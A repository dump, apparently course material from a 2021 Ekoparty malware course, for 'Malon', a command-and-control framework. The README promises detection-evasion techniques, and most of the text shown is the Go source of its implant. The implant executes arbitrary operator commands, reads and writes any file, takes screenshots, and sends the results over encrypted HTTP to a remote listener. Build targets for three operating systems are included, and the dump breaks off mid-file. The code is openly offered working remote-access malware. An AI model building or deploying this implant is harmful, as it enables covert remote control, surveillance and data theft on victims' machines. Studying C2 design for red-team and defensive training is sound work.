├── .devcontainer
├── Dockerfile
└── devcontainer.json
├── .gitignore
├── .vscode
├── launch.json
├── settings.json
└── tasks.json
├── LICENSE.md
├── README.md
├── agent
├── Makefile
├── app
│ ├── agent.go
│ ├── proto
│ │ └── proto.go
│ └── task
│ │ ├── command.go
│ │ ├── file.go
│ │ ├── screenshot.go
│ │ ├── screenshot_dummy.go
│ │ └── task.go
├── comm
│ ├── client.go
│ ├── dh.go
│ ├── dummy_auth.go
│ ├── http.go
│ ├── sym.go
│ └── udp.go
├── config.go
├── config.json
├── config_default.go
├── config_placeholder.bin
├── config_placeholder.go
├── cryptoutil
│ ├── dh
│ │ └── main.go
│ └── sym
│ │ └── main.go
├── main.go
└── types.go
├── cli
├── cli.py
└── requirements.txt
├── malon_logo.png
├── malon_lp
├── malon_lp
│ ├── __init__.py
│ ├── __main__.py
│ ├── admin
│ │ ├── __init__.py
│ │ ├── __main__.py
│ │ ├── json_encoder.py
│ │ ├── listener_manager.py
│ │ └── render_launcher.py
│ ├── crypto
│ │ ├── __init__.py
│ │ ├── dh.py
│ │ └── sym.py
│ ├── database
│ │ ├── __init__.py
│ │ └── models.py
│ └── listener
│ │ ├── __init__.py
│ │ ├── handler
│ │ ├── __init__.py
│ │ ├── api.py
│ │ ├── dh.py
│ │ ├── dummy_auth.py
│ │ └── sym.py
│ │ └── listener
│ │ ├── __init__.py
│ │ ├── http_listener.py
│ │ ├── udp_listener.py
│ │ ├── unenc_http_listener.py
│ │ └── unenc_udp_listener.py
├── render_launcher
│ └── config_placeholder.bin
└── requirements.txt
└── util
└── tcp_proxy.py
/.devcontainer/Dockerfile:
--------------------------------------------------------------------------------
1 | # See here for image contents: https://github.com/microsoft/vscode-dev-containers/tree/v0.166.1/containers/go/.devcontainer/base.Dockerfile
2 |
3 | # [Choice] Go version: 1, 1.16, 1.15
4 | ARG VARIANT="1"
5 | FROM mcr.microsoft.com/vscode/devcontainers/go:0-${VARIANT}
6 |
7 | # [Option] Install Node.js
8 | ARG INSTALL_NODE="true"
9 | ARG NODE_VERSION="lts/*"
10 | RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "umask 0002 && . /usr/local/share/nvm/nvm.sh && nvm install ${NODE_VERSION} 2>&1"; fi
11 |
12 | RUN apt-get update && apt-get -y install python3-pip
13 |
14 | # FIXME: exit 0 to ignore errors. This is to aviod errors of type "build constraints exclude all Go files"
15 | RUN go get -d "golang.org/x/sys/windows" "github.com/lxn/win" "github.com/kbinani/screenshot"; exit 0
16 |
17 | # [Optional] Uncomment this section to install additional OS packages.
18 | # RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \
19 | # && apt-get -y install --no-install-recommends
20 |
21 | # [Optional] Uncomment the next line to use go get to install anything else you need
22 | # RUN go get -x
23 |
24 | # [Optional] Uncomment this line to install global node packages.
25 | # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g " 2>&1
--------------------------------------------------------------------------------
/.devcontainer/devcontainer.json:
--------------------------------------------------------------------------------
1 | // For format details, see https://aka.ms/devcontainer.json. For config options, see the README at:
2 | // https://github.com/microsoft/vscode-dev-containers/tree/v0.166.1/containers/go
3 | {
4 | "name": "Go",
5 | "build": {
6 | "dockerfile": "Dockerfile",
7 | "args": {
8 | // Update the VARIANT arg to pick a version of Go: 1, 1.16, 1.15
9 | "VARIANT": "1",
10 | // Options
11 | "INSTALL_NODE": "false",
12 | "NODE_VERSION": "lts/*"
13 | }
14 | },
15 | "runArgs": [ "--cap-add=SYS_PTRACE","--network=host"],
16 |
17 | // Set *default* container specific settings.json values on container create.
18 | "settings": {
19 | "terminal.integrated.shell.linux": "/bin/bash",
20 | "go.toolsManagement.checkForUpdates": "local",
21 | "go.useLanguageServer": true,
22 | "go.gopath": "/go",
23 | "go.goroot": "/usr/local/go"
24 | },
25 |
26 | // Add the IDs of extensions you want installed when the container is created.
27 | "extensions": [
28 | "golang.Go"
29 | ],
30 |
31 | // Use 'forwardPorts' to make a list of ports inside the container available locally.
32 | // "forwardPorts": [],
33 |
34 | // Use 'postCreateCommand' to run commands after the container is created.
35 | // "postCreateCommand": "go version",
36 |
37 | // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
38 | "remoteUser": "vscode"
39 | }
40 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__
2 | *.pyc
3 | *.egg-info
4 | agent/build
5 | malon_lp/malon.db
6 | malon_lp/render_launcher
7 |
--------------------------------------------------------------------------------
/.vscode/launch.json:
--------------------------------------------------------------------------------
1 | {
2 | // Use IntelliSense to learn about possible attributes.
3 | // Hover to view descriptions of existing attributes.
4 | // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
5 | "version": "0.2.0",
6 | "configurations": [
7 | {
8 | "name": "g++ - Build and debug active file",
9 | "type": "cppdbg",
10 | "request": "launch",
11 | "program": "${fileDirname}/${fileBasenameNoExtension}",
12 | "args": [],
13 | "stopAtEntry": false,
14 | "cwd": "${workspaceFolder}",
15 | "environment": [],
16 | "externalConsole": false,
17 | "MIMode": "lldb",
18 | "preLaunchTask": "C/C++: g++ build active file"
19 | }
20 | ]
21 | }
--------------------------------------------------------------------------------
/.vscode/settings.json:
--------------------------------------------------------------------------------
1 | {
2 | "files.associations": {
3 | "string": "cpp",
4 | "iostream": "cpp"
5 | }
6 | }
--------------------------------------------------------------------------------
/.vscode/tasks.json:
--------------------------------------------------------------------------------
1 | {
2 | "tasks": [
3 | {
4 | "type": "cppbuild",
5 | "label": "C/C++: gcc build active file",
6 | "command": "/usr/bin/gcc",
7 | "args": [
8 | "-g",
9 | "${file}",
10 | "-o",
11 | "${fileDirname}/${fileBasenameNoExtension}"
12 | ],
13 | "options": {
14 | "cwd": "${workspaceFolder}"
15 | },
16 | "problemMatcher": [
17 | "$gcc"
18 | ],
19 | "group": "build",
20 | "detail": "Task generated by Debugger."
21 | },
22 | {
23 | "type": "cppbuild",
24 | "label": "C/C++: g++ build active file",
25 | "command": "/usr/bin/g++",
26 | "args": [
27 | "-g",
28 | "${file}",
29 | "-o",
30 | "${fileDirname}/${fileBasenameNoExtension}"
31 | ],
32 | "options": {
33 | "cwd": "${workspaceFolder}"
34 | },
35 | "problemMatcher": [
36 | "$gcc"
37 | ],
38 | "group": {
39 | "kind": "build",
40 | "isDefault": true
41 | },
42 | "detail": "Task generated by Debugger."
43 | }
44 | ],
45 | "version": "2.0.0"
46 | }
--------------------------------------------------------------------------------
/LICENSE.md:
--------------------------------------------------------------------------------
1 | Pucara Information Security is pleased to support the open source community by making Malon available.
2 |
3 | Copyright \(C\) 2021 Malon , a Pucara Information Security company. All rights reserved. If you have downloaded a copy , please note that the Malon is licensed under the BSD 3-Clause License. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
4 |
5 | 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
6 |
7 | 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
8 |
9 | 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
10 |
11 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES \(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION\) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT \(INCLUDING NEGLIGENCE OR OTHERWISE\) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
12 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Malware Crash Course
2 |
3 |
17 |
18 |
19 |
20 |
21 | Material para el curso de Malware Crash Course de Ekoparty 2021
22 |
23 | Explore the docs »
24 |
25 |
26 |
27 |
28 |
29 | ## Descripcion
30 |
31 | Dentro de la seguridad ofensiva actual, los Command and Control (C2) se convirtieron en una pieza fundamental para cualquier operación que realice un equipo de Red Team o mismo en la ejecución de ejercicios de Advanced Adversary Simulations. Dado que el mercado de los C2 ha crecido enormemente en el último tiempo y que cada uno de ellos tienen sus propias características, tanto desde la perspectiva de un operador de Red Team en relación a sus escenarios y operaciones, como desde la perspectiva de un operador de Blue Team quien necesita entender en profundidad el funcionamiento para defender mejor también, es importante conocer en detalle los conceptos y la infraestructura que existe detrás de los mismos. Este curso le brindará a los estudiantes el conocimiento y las herramientas necesarias para poder entender los fundamentos de la arquitectura correspondiente a los C2, para así luego poder interpretar funcionalidades de los diferentes command and controls (C2) existentes del mercado, en dónde además se trabajará con el proyecto de la "Command and Control Matrix". Luego una vez entendida esta fase se trabajará a lo largo del curso en desarrollar desde absolutamente cero un Command and Control (C2) propio. El C2 que realizaremos en el curso será en Python con un Implamante en GO , aplicaremos criptografía (Diffie-Hellman Key Exchange) para encriptar y autenticar el canal de comunicación entre implante y listener. También les otorgaremos las herramientas para poder integrar el C2 realizado de cero en el curso (O mismo cualquiera que alumno seleccione de la command and control matrix (C2 Matrix ) a Zuthaka , el cual es un framework de desarrollo de C2 colaborativo y open-source que permite a los desarrolladores concentrarse en las funcionalidades cores de su command and control (C2). El framework Zuthaka fué desarrollado por la empresa Pucara Information Security, y el mismo fue presentado en el espacio "Arsenal" de la reconocida conferencia de BlackHat y en el espacio de Demo Labs de DEFCON. El presente curso será dictado por los creadores de "Zuthaka" quienes tienen una amplia experiencia en el tema tanto local como en el mercado internacional. Finalmente, se trabajará con los participantes en todo lo relacionado a técnicas efectivas para evitar la detección del ejecutable y todo lo relacionado a la evasión en disco y ejecución en memoria.
32 |
33 | ## License
34 |
35 | Distributed under the BSD-3 clause License. See `LICENSE.md` for more information.
36 |
37 | ## Contact
38 |
39 |
40 |
41 | Pucara team - [@pucara](https://twitter.com/pucara) - contant@pucara.io
42 |
43 | Zuthaka community on discord - [Zuthaka](https://zuthaka.com/discord)
44 |
45 |
46 |
--------------------------------------------------------------------------------
/agent/Makefile:
--------------------------------------------------------------------------------
1 | build:
2 | mkdir -p build
3 | GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o build/x64-linux .
4 | GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o build/x64-windows .
5 | GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -o build/x64-darwin .
6 |
7 | copy:
8 | cp build/* ../malon_lp/render_launcher/
--------------------------------------------------------------------------------
/agent/app/agent.go:
--------------------------------------------------------------------------------
1 | package app
2 |
3 | import (
4 | "encoding/json"
5 |
6 | "../comm"
7 | "./proto"
8 | "./task"
9 | )
10 |
11 | type Agent struct {
12 | client comm.Client
13 | }
14 |
15 | func NewAgent(client comm.Client) *Agent {
16 | return &Agent{client: client}
17 | }
18 |
19 | func (a *Agent) sendMsg(agentMsg *proto.AgentMsg) (*proto.LPMsg, error) {
20 | var lpMsg proto.LPMsg
21 | msg, err := json.Marshal(agentMsg)
22 | if err != nil {
23 | return nil, err
24 | }
25 | response, err := a.client.SendMsg(msg)
26 | if err != nil {
27 | return nil, err
28 | }
29 | err = json.Unmarshal(response, &lpMsg)
30 | if err != nil {
31 | return nil, err
32 | }
33 | return &lpMsg, nil
34 | }
35 |
36 | func (a *Agent) Heartbeat() error {
37 | agentMsg := &proto.AgentMsg{
38 | GetTasksMsg: &proto.GetTasksMsg{},
39 | }
40 | lpMsg, err := a.sendMsg(agentMsg)
41 | if err != nil {
42 | return err
43 | }
44 | if taskLisgMsg := lpMsg.TaskListMsg; taskLisgMsg != nil {
45 | var results []proto.TaskResult
46 | for _, t := range taskLisgMsg.Tasks {
47 | taskHandler, _ := task.GetTaskHandler(t)
48 | result := taskHandler.HandleTask(t)
49 | results = append(results, result)
50 | }
51 | if len(results) > 0 {
52 | agentMsg := &proto.AgentMsg{
53 | TaskResultsMsg: &proto.TaskResultsMsg{
54 | Results: results,
55 | },
56 | }
57 |
58 | _, err := a.sendMsg(agentMsg)
59 | return err
60 | }
61 | }
62 |
63 | return nil
64 | }
65 |
--------------------------------------------------------------------------------
/agent/app/proto/proto.go:
--------------------------------------------------------------------------------
1 | package proto
2 |
3 | import "encoding/json"
4 |
5 | type TaskResult struct {
6 | TaskId int `json:"task_id"`
7 | Info json.RawMessage `json:"info"`
8 | Output []byte `json:"output"`
9 | }
10 |
11 | type TaskResultsMsg struct {
12 | Results []TaskResult `json:"results"`
13 | }
14 |
15 | type Task struct {
16 | Id int `json:"id"`
17 | Type string `json:"type"`
18 | Info json.RawMessage `json:"info"`
19 | Input []byte `json:"input"`
20 | }
21 |
22 | type TaskListMsg struct {
23 | Tasks []Task `json:"tasks"`
24 | }
25 |
26 | type GetTasksMsg struct{}
27 |
28 | type AgentMsg struct {
29 | TaskResultsMsg *TaskResultsMsg `json:"task_results_msg,omitempty"`
30 | GetTasksMsg *GetTasksMsg `json:"get_tasks_msg,omitempty"`
31 | }
32 |
33 | type StatusMsg struct {
34 | Success bool `json:"success"`
35 | }
36 |
37 | type LPMsg struct {
38 | TaskListMsg *TaskListMsg `json:"task_list_msg,omitempty"`
39 | StatusMsg *StatusMsg `json:"status_msg,omitempty"`
40 | }
41 |
--------------------------------------------------------------------------------
/agent/app/task/command.go:
--------------------------------------------------------------------------------
1 | package task
2 |
3 | import (
4 | "bytes"
5 | "context"
6 | "encoding/json"
7 | "fmt"
8 | "os"
9 | "os/exec"
10 | "time"
11 |
12 | "../proto"
13 | )
14 |
15 | // CommandInfo
16 | // JSON en Task.Info
17 | type CommandInfo struct {
18 | TimeoutMs int `json:"timeout_ms"` // timeout del comando
19 | Env []string `json:"env"` // variables del torno del comando en formato ["NAME=VALUE", ...]
20 | Args []string `json:"args"` // argumentos a enviar al comando. El primeor es el path del ejecutable.
21 | }
22 |
23 | // CommandResultInfo
24 | // JSON en TaskResult.Info
25 | type CommandResultInfo struct {
26 | ExitCode int `json:"exit_code"` // Exit code del comando ejecutado
27 | ErrorDesc string `json:"error_desc,omitempty"` // descripcion del error en caso de fallar
28 | }
29 |
30 | // CommandTaskHandler maneja una tarea del tipo command
31 | // Ejecuta el binario en CommandInfo.Args[0], envia como stdin a Task.Input
32 | // Almacena stderr y stdout en Task.Output
33 | type CommandTaskHandler struct{}
34 |
35 | func (*CommandTaskHandler) HandleTask(task proto.Task) proto.TaskResult {
36 | var cmdInfo CommandInfo
37 | json.Unmarshal(task.Info, &cmdInfo)
38 |
39 | var stdout bytes.Buffer
40 | var stderr bytes.Buffer
41 |
42 | ctx, cancel := context.WithTimeout(
43 | context.Background(),
44 | time.Duration(cmdInfo.TimeoutMs)*time.Millisecond,
45 | )
46 | defer cancel()
47 |
48 | execCmd := exec.CommandContext(ctx, cmdInfo.Args[0], cmdInfo.Args[1:]...)
49 | execCmd.Stdin = bytes.NewReader(task.Input)
50 | execCmd.Stdout = &stdout
51 | execCmd.Stderr = &stderr
52 |
53 | execCmd.Env = append(os.Environ(), cmdInfo.Env...)
54 |
55 | err := execCmd.Run()
56 |
57 | cmdResultInfo := CommandResultInfo{
58 | ExitCode: 0,
59 | }
60 |
61 | if err != nil {
62 | switch t := err.(type) {
63 | case *exec.ExitError:
64 | cmdResultInfo.ExitCode = t.ExitCode()
65 | case *exec.Error:
66 | cmdResultInfo.ExitCode = 127
67 | }
68 | cmdResultInfo.ErrorDesc = fmt.Sprintf("Error: %s\n", err)
69 | }
70 |
71 | cmdResultInfoJson, _ := json.Marshal(cmdResultInfo)
72 | output := append(stderr.Bytes(), stdout.Bytes()...)
73 | return proto.TaskResult{
74 | TaskId: task.Id,
75 | Info: cmdResultInfoJson,
76 | Output: output,
77 | }
78 | }
79 |
--------------------------------------------------------------------------------
/agent/app/task/file.go:
--------------------------------------------------------------------------------
1 | package task
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 | "os"
7 |
8 | "../proto"
9 | )
10 |
11 | // FileInfo
12 | // llega serializada en JSON en Task.Info
13 | type FileInfo struct {
14 | Type string `json:"type"`
15 | FilePath string `json:"file_path"`
16 | }
17 |
18 | // FileResultInfo
19 | // Vuelve al listener serializada en JSON en TaskrRsult.Info
20 | type FileResultInfo struct {
21 | Success bool `json:"success"`
22 | ErrorDesc string `json:"error_desc,omitempty"`
23 | }
24 |
25 | // FileTaskHandler maneja una tarea del tipo File
26 | // Existen dos subtipos:
27 | // - "put" escribe los bytes de task.Input en el archivo especificado en Task.Info
28 | // - "get" lee los bytes del archivo especificado y los devuelve en TaskResult.Output
29 | // El exito/fracaso de la tarea se informa en TaskResult.Info
30 | type FileTaskHandler struct{}
31 |
32 | func (*FileTaskHandler) HandleTask(task proto.Task) proto.TaskResult {
33 | var fileInfo FileInfo
34 | json.Unmarshal(task.Info, &fileInfo)
35 |
36 | var fileResultInfo FileResultInfo
37 | var fileData []byte = nil
38 | var err error
39 |
40 | switch fileInfo.Type {
41 | case "put":
42 | err = os.WriteFile(fileInfo.FilePath, task.Input, 0666)
43 | if err == nil {
44 | fileResultInfo.Success = true
45 | } else {
46 | fileResultInfo.Success = false
47 | fileResultInfo.ErrorDesc = fmt.Sprintf("%s", err)
48 | }
49 | case "get":
50 | fileData, err = os.ReadFile(fileInfo.FilePath)
51 | if err == nil {
52 | fileResultInfo.Success = true
53 | } else {
54 | fileResultInfo.Success = false
55 | fileResultInfo.ErrorDesc = fmt.Sprintf("%s", err)
56 | }
57 | default:
58 | fileResultInfo.Success = false
59 | }
60 |
61 | fileResultInfoJson, _ := json.Marshal(fileResultInfo)
62 |
63 | return proto.TaskResult{
64 | TaskId: task.Id,
65 | Info: fileResultInfoJson,
66 | Output: fileData,
67 | }
68 | }
69 |
--------------------------------------------------------------------------------
/agent/app/task/screenshot.go:
--------------------------------------------------------------------------------
1 | //go:build linux || windows
2 |
3 | package task
4 |
5 | import (
6 | "bytes"
7 | "encoding/json"
8 | "fmt"
9 | "image/png"
10 |
11 | "../proto"
12 |
13 | "github.com/kbinani/screenshot"
14 | )
15 |
16 | // ScreenshotInfo
17 | // JSON en Task.Info
18 | type ScreenshotInfo struct {
19 | Display int `json:"display"` // display a tomar screenshot. valores negativos no tienen efecto y devuelven la cantidad de displays
20 | }
21 |
22 | // ScreenshotResultInfo
23 | // JSON en TaskResult.Info
24 | type ScreenshotResultInfo struct {
25 | DisplayCount int `json:"display_count"` // cantidad de displays del sistema
26 | Display int `json:"selected_display"` // display seleccionado para tomar screenshot
27 | Success bool `json:"success"` // tuvo exito?
28 | ErrorDesc string `json:"error_desc,omitempty"` // descripcion del error en caso de fallar
29 | }
30 |
31 | // ScreenshotTaskHandler maneja una tarea del tipo screenshot
32 | // Toma un screenshot utilizando la libreria "github.com/kbinani/screenshot"
33 | type ScreenshotTaskHandler struct{}
34 |
35 | func (*ScreenshotTaskHandler) HandleTask(task proto.Task) proto.TaskResult {
36 | var screenshotInfo ScreenshotInfo
37 |
38 | json.Unmarshal(task.Info, &screenshotInfo)
39 |
40 | displayCount := screenshot.NumActiveDisplays()
41 |
42 | if screenshotInfo.Display < 0 {
43 | screenshotResultInfo := ScreenshotResultInfo{
44 | DisplayCount: displayCount,
45 | Display: screenshotInfo.Display,
46 | Success: true,
47 | }
48 | screenshotResultInfoJson, _ := json.Marshal(screenshotResultInfo)
49 | return proto.TaskResult{
50 | TaskId: task.Id,
51 | Info: screenshotResultInfoJson,
52 | Output: nil,
53 | }
54 | } else {
55 | bounds := screenshot.GetDisplayBounds(screenshotInfo.Display)
56 | img, err := screenshot.CaptureRect(bounds)
57 | if err != nil {
58 | screenshotResultInfo := ScreenshotResultInfo{
59 | DisplayCount: displayCount,
60 | Display: screenshotInfo.Display,
61 | Success: false,
62 | ErrorDesc: fmt.Sprintf("%s", err),
63 | }
64 | screenshotResultInfoJson, _ := json.Marshal(screenshotResultInfo)
65 | return proto.TaskResult{
66 | TaskId: task.Id,
67 | Info: screenshotResultInfoJson,
68 | Output: nil,
69 | }
70 | }
71 |
72 | var buffer bytes.Buffer
73 | png.Encode(&buffer, img)
74 |
75 | screenshotResultInfo := ScreenshotResultInfo{
76 | DisplayCount: displayCount,
77 | Display: screenshotInfo.Display,
78 | Success: true,
79 | }
80 | screenshotResultInfoJson, _ := json.Marshal(screenshotResultInfo)
81 | return proto.TaskResult{
82 | TaskId: task.Id,
83 | Info: screenshotResultInfoJson,
84 | Output: buffer.Bytes(),
85 | }
86 | }
87 | }
88 |
--------------------------------------------------------------------------------
/agent/app/task/screenshot_dummy.go:
--------------------------------------------------------------------------------
1 | //go:build !windows && !linux
2 |
3 | package task
4 |
5 | import (
6 | "encoding/json"
7 |
8 | "../proto"
9 | )
10 |
11 | type ScreenshotResultInfo struct {
12 | DisplayCount int `json:"display_count"`
13 | Display int `json:"selected_display"`
14 | Success bool `json:"success"`
15 | ErrorDesc string `json:"error_desc,omitempty"`
16 | }
17 |
18 | type ScreenshotTaskHandler struct{}
19 |
20 | func (*ScreenshotTaskHandler) HandleTask(task proto.Task) proto.TaskResult {
21 | screenshotResultInfo := ScreenshotResultInfo{
22 | DisplayCount: 0,
23 | Display: -1,
24 | Success: false,
25 | ErrorDesc: "screenshots not supported in this OS",
26 | }
27 | screenshotResultInfoJson, _ := json.Marshal(screenshotResultInfo)
28 | return proto.TaskResult{
29 | TaskId: task.Id,
30 | Info: screenshotResultInfoJson,
31 | Output: nil,
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/agent/app/task/task.go:
--------------------------------------------------------------------------------
1 | package task
2 |
3 | import (
4 | "fmt"
5 |
6 | "../proto"
7 | )
8 |
9 | type TaskHandler interface {
10 | HandleTask(task proto.Task) proto.TaskResult
11 | }
12 |
13 | func GetTaskHandler(task proto.Task) (TaskHandler, error) {
14 | switch task.Type {
15 | case "command":
16 | return &CommandTaskHandler{}, nil
17 | case "file":
18 | return &FileTaskHandler{}, nil
19 | case "screenshot":
20 | return &ScreenshotTaskHandler{}, nil
21 | }
22 |
23 | return nil, fmt.Errorf("unknown task type")
24 | }
25 |
--------------------------------------------------------------------------------
/agent/comm/client.go:
--------------------------------------------------------------------------------
1 | package comm
2 |
3 | type Client interface {
4 | SendMsg(msg []byte) ([]byte, error)
5 | }
6 |
--------------------------------------------------------------------------------
/agent/comm/dh.go:
--------------------------------------------------------------------------------
1 | package comm
2 |
3 | import (
4 | "encoding/hex"
5 | "encoding/json"
6 | "fmt"
7 |
8 | "../cryptoutil/dh"
9 | "../cryptoutil/sym"
10 | )
11 |
12 | type DHClient struct {
13 | sharedKey []byte
14 | keyExchange *dh.KeyExchange
15 | subclient Client
16 | }
17 |
18 | type HandshakeMsg struct {
19 | PublicKey []byte `json:"public_key"`
20 | }
21 |
22 | type ServerMsg struct {
23 | Payload []byte `json:"payload"`
24 | }
25 |
26 | type ClientMsg struct {
27 | ClientID string `json:"client_id"`
28 | Payload []byte `json:"payload"`
29 | }
30 |
31 | type ErrorMsg struct {
32 | Type string `json:"type"`
33 | }
34 |
35 | type BaseMsg struct {
36 | HandshakeMsg *HandshakeMsg `json:"handshake_msg,omitempty"`
37 | ClientMsg *ClientMsg `json:"client_msg,omitempty"`
38 | ServerMsg *ServerMsg `json:"server_msg,omitempty"`
39 | ErrorMsg *ErrorMsg `json:"error_msg,omitempty"`
40 | }
41 |
42 | func NewDHClient(keyExchange *dh.KeyExchange, subclient Client) *DHClient {
43 | return &DHClient{
44 | sharedKey: nil,
45 | keyExchange: keyExchange,
46 | subclient: subclient,
47 | }
48 | }
49 |
50 | func (c *DHClient) sendBaseMsg(baseMsg *BaseMsg) (*BaseMsg, error) {
51 | var responseBaseMsg BaseMsg
52 | msg, err := json.Marshal(baseMsg)
53 | if err != nil {
54 | return nil, err
55 | }
56 | response, err := c.subclient.SendMsg(msg)
57 | if err != nil {
58 | return nil, err
59 | }
60 | err = json.Unmarshal(response, &responseBaseMsg)
61 | if err != nil {
62 | return nil, err
63 | }
64 | return &responseBaseMsg, nil
65 | }
66 |
67 | func (c *DHClient) NegotiateKey() error {
68 | msg := BaseMsg{
69 | HandshakeMsg: &HandshakeMsg{
70 | PublicKey: c.keyExchange.GetPublicKey(),
71 | },
72 | }
73 | response, err := c.sendBaseMsg(&msg)
74 | if err != nil {
75 | return err
76 | }
77 |
78 | if handshakeMsg := response.HandshakeMsg; handshakeMsg != nil {
79 | c.sharedKey, err = c.keyExchange.GetSharedKey(handshakeMsg.PublicKey)
80 | if err != nil {
81 | return err
82 | }
83 | } else {
84 | return fmt.Errorf("expected HandshakeMsg")
85 | }
86 |
87 | return nil
88 | }
89 |
90 | func (c *DHClient) GetClientID() []byte {
91 | return dh.GetClientID(c.keyExchange.GetPublicKey())
92 | }
93 |
94 | func (c *DHClient) SendMsg(msg []byte) ([]byte, error) {
95 | if c.sharedKey == nil {
96 | err := c.NegotiateKey()
97 | if err != nil {
98 | return nil, err
99 | }
100 | }
101 |
102 | encryptedMsg, err := sym.EncryptThenSignMessage(msg, c.sharedKey)
103 | if err != nil {
104 | return nil, err
105 | }
106 |
107 | baseMsg := &BaseMsg{
108 | ClientMsg: &ClientMsg{
109 | ClientID: hex.EncodeToString(c.GetClientID()),
110 | Payload: encryptedMsg,
111 | },
112 | }
113 | responseBaseMsg, err := c.sendBaseMsg(baseMsg)
114 | if err != nil {
115 | return nil, err
116 | }
117 |
118 | if serverMsg := responseBaseMsg.ServerMsg; serverMsg != nil {
119 | return sym.ValidateThenDecryptMessage(serverMsg.Payload, c.sharedKey)
120 | } else if errorMsg := responseBaseMsg.ErrorMsg; errorMsg != nil {
121 | if errorMsg.Type == "HANDSHAKE_EXPIRED" {
122 | c.NegotiateKey()
123 | return c.SendMsg(msg)
124 | } else {
125 | return nil, fmt.Errorf("server returned unknown error")
126 | }
127 | } else {
128 | return nil, fmt.Errorf("expected ServerMsg")
129 | }
130 | }
131 |
--------------------------------------------------------------------------------
/agent/comm/dummy_auth.go:
--------------------------------------------------------------------------------
1 | package comm
2 |
3 | import (
4 | "encoding/hex"
5 | "encoding/json"
6 | )
7 |
8 | type DummyAuthClient struct {
9 | clientID []byte
10 | subclient Client
11 | }
12 |
13 | func NewDummyAuthClient(clientID []byte, subclient Client) *DummyAuthClient {
14 | return &DummyAuthClient{
15 | clientID: clientID,
16 | subclient: subclient,
17 | }
18 | }
19 |
20 | func (c *DummyAuthClient) GetClientID() []byte {
21 | return c.clientID
22 | }
23 |
24 | func (c *DummyAuthClient) SendMsg(msg []byte) ([]byte, error) {
25 | var responseBaseMsg BaseMsg
26 |
27 | clientMsg := BaseMsg{
28 | ClientMsg: &ClientMsg{
29 | ClientID: hex.EncodeToString(c.clientID),
30 | Payload: msg,
31 | },
32 | }
33 |
34 | jsonMsg, err := json.Marshal(clientMsg)
35 | if err != nil {
36 | return nil, err
37 | }
38 |
39 | response, err := c.subclient.SendMsg(jsonMsg)
40 | if err != nil {
41 | return nil, err
42 | }
43 | err = json.Unmarshal(response, &responseBaseMsg)
44 | if err != nil {
45 | return nil, err
46 | }
47 |
48 | return responseBaseMsg.ServerMsg.Payload, nil
49 | }
50 |
--------------------------------------------------------------------------------
/agent/comm/http.go:
--------------------------------------------------------------------------------
1 | package comm
2 |
3 | import (
4 | "encoding/base64"
5 | "fmt"
6 | "io"
7 | "net/http"
8 | "net/url"
9 | "regexp"
10 | )
11 |
12 | type HttpClient struct {
13 | targetUrl string
14 | }
15 |
16 | func NewHttpClient(targetUrl string) *HttpClient {
17 | return &HttpClient{
18 | targetUrl: targetUrl,
19 | }
20 | }
21 |
22 | func (client *HttpClient) SendMsg(outgoingMsg []byte) ([]byte, error) {
23 | // A Implementar
24 | encodedOutgoingMsg := base64.StdEncoding.EncodeToString(outgoingMsg)
25 | resp, err := http.PostForm(client.targetUrl, url.Values{"m": {string(encodedOutgoingMsg)}})
26 |
27 | if err != nil {
28 | return nil, err
29 | }
30 |
31 | if resp.StatusCode != http.StatusOK {
32 | return nil, fmt.Errorf("got HTTP status code %d", resp.StatusCode)
33 | }
34 |
35 | body, err := io.ReadAll(resp.Body)
36 | if err != nil {
37 | return nil, err
38 | }
39 |
40 | msg, err := getMsgFromBody(body)
41 | if err != nil {
42 | return nil, err
43 | }
44 |
45 | return msg, nil
46 | }
47 |
48 | func getMsgFromBody(body []byte) ([]byte, error) {
49 | // A implementar
50 | re := regexp.MustCompile(`()`)
51 | match := re.Find(body)
52 | encoded := string(match[4 : len(match)-3])
53 | data, err := base64.StdEncoding.DecodeString(encoded)
54 | if err != nil {
55 | return nil, err
56 | }
57 |
58 | return data, nil
59 | }
60 |
--------------------------------------------------------------------------------
/agent/comm/sym.go:
--------------------------------------------------------------------------------
1 | package comm
2 |
3 | import (
4 | "../cryptoutil/sym"
5 | )
6 |
7 | type EncryptedClient struct {
8 | key []byte
9 | client Client
10 | }
11 |
12 | func NewEncryptedClient(client Client, key []byte) *EncryptedClient {
13 | return &EncryptedClient{
14 | key: key,
15 | client: client,
16 | }
17 | }
18 |
19 | func (client *EncryptedClient) SendMsg(outgoingMsg []byte) ([]byte, error) {
20 | outgoingMsg, err := sym.EncryptThenSignMessage([]byte(outgoingMsg), client.key)
21 | if err != nil {
22 | return nil, err
23 | }
